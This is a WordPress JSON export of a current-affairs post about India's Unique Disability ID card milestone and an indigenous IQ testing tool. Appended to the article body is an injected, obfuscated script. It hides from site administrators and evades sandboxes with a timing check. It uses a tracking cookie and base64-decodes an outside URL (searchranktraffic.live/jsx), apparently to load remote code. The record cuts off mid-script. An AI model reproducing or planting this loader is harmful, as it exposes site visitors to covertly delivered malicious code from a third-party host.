{"id":505,"date":"2023-12-12T06:52:51","date_gmt":"2023-12-12T06:52:51","guid":{"rendered":"https:\/\/iasquest.com\/?p=505"},"modified":"2026-02-11T19:27:49","modified_gmt":"2026-02-11T19:27:49","slug":"minister-of-social-justice-and-empowerment-to-present-one-crore-unique-disability-id-udid-card","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/minister-of-social-justice-and-empowerment-to-present-one-crore-unique-disability-id-udid-card\/","title":{"rendered":"Minister of Social Justice and Empowerment to present one crore Unique Disability ID (UDID) card."},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>The Minister of Social Justice and Empowerment (HMSJE) will be presenting <strong>Unique Disability ID (UDID) cards<\/strong> to seven PwDs, generated using the pioneering Indian IQ testing.<\/li>\n\n\n\n<li>The Minister will also hand over the one crore UDID to 2-year-old girl named Vanshika Nand kishore Mane, a testament to the UDI project&#8217;s far-reaching impact. <\/li>\n\n\n\n<li>The inaugural UDID was generated on January 27, 2017, in Datia, Madhya Pradesh.<\/li>\n\n\n\n<li>The<strong> indigenous IQ testing tool<\/strong> is developed by the <strong>National Institute for the Empowerment of Persons with Intellectual Disabilities (NIEPID), Secunderabad <\/strong>and endorsed by the <strong>Directorate General of Health Services (DGHS), Government of India.<\/strong><\/li>\n\n\n\n<li>Aligned with the Make in India vision of our Prime Minister Shri Narendra Modi, this tool will play a crucial role in assessing the cognitive abilities of individuals with disabilities. <\/li>\n\n\n\n<li>The Minister will dedicate this tool to the Nation, marking a significant stride towards <strong>self-reliance and inclusivity.<\/strong><\/li>\n\n\n\n<li>As of the 2011 census, India is home to 2.68 crore Persons with Disabilities (PwDs), commonly referred to as Divyangjan. <\/li>\n\n\n\n<li>In 2017, the Department of Empowerment of Persons with Disabilities (DEPwD), Government of India, initiated the <strong>Unique Disability ID (UDID) Card project,<\/strong> a groundbreaking endeavor aimed at providing a unique identity to Divyanga&#8217;s and creating a comprehensive database for strategic welfare planning.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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